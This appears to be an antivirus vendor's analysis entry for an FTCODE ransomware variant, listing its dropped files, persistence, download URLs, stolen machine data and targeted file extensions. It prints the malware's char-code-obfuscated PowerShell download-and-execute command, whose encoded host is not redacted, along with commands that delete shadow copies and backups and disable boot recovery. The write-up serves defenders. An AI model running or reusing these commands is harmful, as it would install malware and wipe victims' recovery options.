Ransom.W97M.BXCODE.THJOCAI

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It encrypts files with specific file extensions. It drops files as ransom note.

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Ransomware drops the following files:

• %User Temp%\AFX50058.tmp ← Current Date
• %Public%\OracleKit\w00log03.tmp ← GUID
• {Encrypted File Directory}\READ_ME_NOW.htm ← ransom notes
• %Public%\Libraries\WindowsIndexingService.vbs ← Executes a powershell command that will send information about the infected machine.

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

It adds the following processes:

• "%System%\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -c function a($a){ return [char]$a; };$dutzb=''; 36,97,61,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,83,116,114,105,110,103,40,39,104,116,116,112,58,47,47,104,111,109,101,46,104,111,112,101,100,97,121,98,111,111,107,46,99,111,109,47,63,110,101,101,100,61,57,102,53,98,57,101,101,38,118,105,100,61,100,112,101,99,49,38,52,49,56,56,52,39,41,59,105,101,120,32,36,97,59|%{$idxfj=a($_);$dutzb+=$idxfj};iex $dutzb;
• "%System%\schtasks.exe" /create /TN WindowsApplicationService /sc DAILY /st 00:00 /f /RI 19 /du 23:59 /TR %System Root%\Users\Public\Libraries\WindowsIndexingService.vbs
• %System%\cmd.exe /c bcdedit /set ffchvwjhs bootstatuspolicy ignoreallfailures
• %System%\cmd.exe /c bcdedit /set ffchvwjhs recoveryenabled no
• %System%\cmd.exe /c wbadmin delete catalog -quiet
• %System%\cmd.exe /c wbadmin delete systemstatebackup
• %System%\cmd.exe /c wbadmin delete backup
• %System%\cmd.exe /c vssadmin delete shadows /all /quiet

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.. %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

It creates the following folders:

• %Public%\OracleKit

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

Autostart Technique

This Ransomware drops the following file(s) in the Windows User Startup folder to enable its automatic execution at every system startup:

• %User Startup%\WindowsApplicationService.lnk

(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).)

Dropping Routine

This Ransomware drops the following files:

• %Public%\Libraries\thumbcache_64.db ← GUID, dropped by (%Public%\Libraries\WindowsIndexingService.vbs)

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

Download Routine

This Ransomware connects to the following website(s) to download and execute a malicious file:

• http://home.{BLOCKED}ybook.com/?need=9f5b9ee&vid=dpec1&41884 ← powershell script that will be loaded in memory, performs as loader, downloader and encryption.
• http://home.{BLOCKED}s.com/?need=6ff4040&vid=dpec1& ← obfuscated VBS script that will execute a powershell command

Information Theft

This Ransomware gathers the following data:

• Ransomware Version
• Status
• Powershell Version
• Generated Password
• GUID
• Machine Name
• OS version

Stolen Information

This Ransomware sends the gathered information via HTTP POST to the following URL:

• http://geer.{BLOCKED}m.com/
• http://connect.{BLOCKED}butmatters.com/

Other Details

This Ransomware sets the attributes of the following file(s) to Hidden and System:

• %Public%\Libraries\thumbcache_64.db

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

It does the following:

• Adds the following Scheduled Task:
  • Task Name: WindowsApplicationService
  • Trigger: At 12 AM, after triggered repeat every 13/ 20 minutes
  • Task to be run: %Public%\Libraries\WindowsIndexingService.vbs
• It won't proceed to its encryption routine and terminate itself if the following condition is met:
  • If the following URL is not accessible:
    • http://connect.{BLOCKED}butmatters.com/
  • The following file is existing on the system:
    • %Public%\OracleKit\w00log03.tmp

Ransomware Routine

This Ransomware encrypts files with the following extensions:

• .sql
• .mp4
• .7z
• .rar
• .m4a
• .wma
• .avi
• .wmv
• .csv
• .d3dbsp
• .zip
• .sie
• .sum
• .ibank
• .t13
• .t12
• .qdf
• .gdb
• .tax
• .pkpass
• .bc6
• .bc7
• .bkp
• .qic
• .bkf
• .sidn
• .sidd
• .mddata
• .itl
• .itdb
• .icxs
• .hvpl
• .hplg
• .hkdb
• .mdbackup
• .syncdb
• .gho
• .cas
• .svg
• .map
• .wmo
• .itm
• .sb
• .fos
• .mov
• .vdf
• .ztmp
• .sis
• .sid
• .ncf
• .menu
• .layout
• .dmp
• .blob
• .esm
• .vcf
• .vtf
• .dazip
• .fpk
• .mlx
• .kf
• .iwd
• .vpk
• .tor
• .psk
• .rim
• .w3x
• .fsh
• .ntl
• .arch00
• .lvl
• .snx
• .cfr
• .ff
• .vpp_pc
• .lrf
• .m2
• .mcmeta
• .vfs0
• .mpqge
• .kdb
• .db0
• .dba
• .rofl
• .hkx
• .bar
• .upk
• .das
• .iwi
• .litemod
• .asset
• .forge
• .ltx
• .bsa
• .apk
• .re4
• .sav
• .lbf
• .slm
• .bik
• .epk
• .rgss3a
• .pak
• .big
• wallet
• .wotreplay
• .xxx
• .desc
• .py
• .m3u
• .flv
• .js
• .css
• .rb
• .png
• .jpeg
• .txt
• .p7c
• .p7b
• .p12
• .pfx
• .pem
• .crt
• .cer
• .der
• .x3f
• .srw
• .pef
• .ptx
• .r3d
• .rw2
• .rwl
• .raw
• .raf
• .orf
• .nrw
• .mrwref
• .mef
• .erf
• .kdc
• .dcr
• .cr2
• .crw
• .bay
• .sr2
• .srf
• .arw
• .3fr
• .dng
• .jpe
• .jpg
• .cdr
• .indd
• .ai
• .eps
• .pdf
• .pdd
• .psd
• .dbf
• .mdf
• .wb2
• .rtf
• .wpd
• .dxg
• .xf
• .dwg
• .pst
• .accdb
• .mdb
• .pptm
• .pptx
• .ppt
• .xlk
• .xlsb
• .xlsm
• .xlsx
• .xls
• .wps
• .docm
• .docx
• .doc
• .odb
• .odc
• .odm
• .odp
• .ods
• .odt

It appends the following extension to the file name of the encrypted files:

• {encrypted file}.FTCODE

It drops the following file(s) as ransom note:

• {Encrypted File Directory}\READ_ME_NOW.htm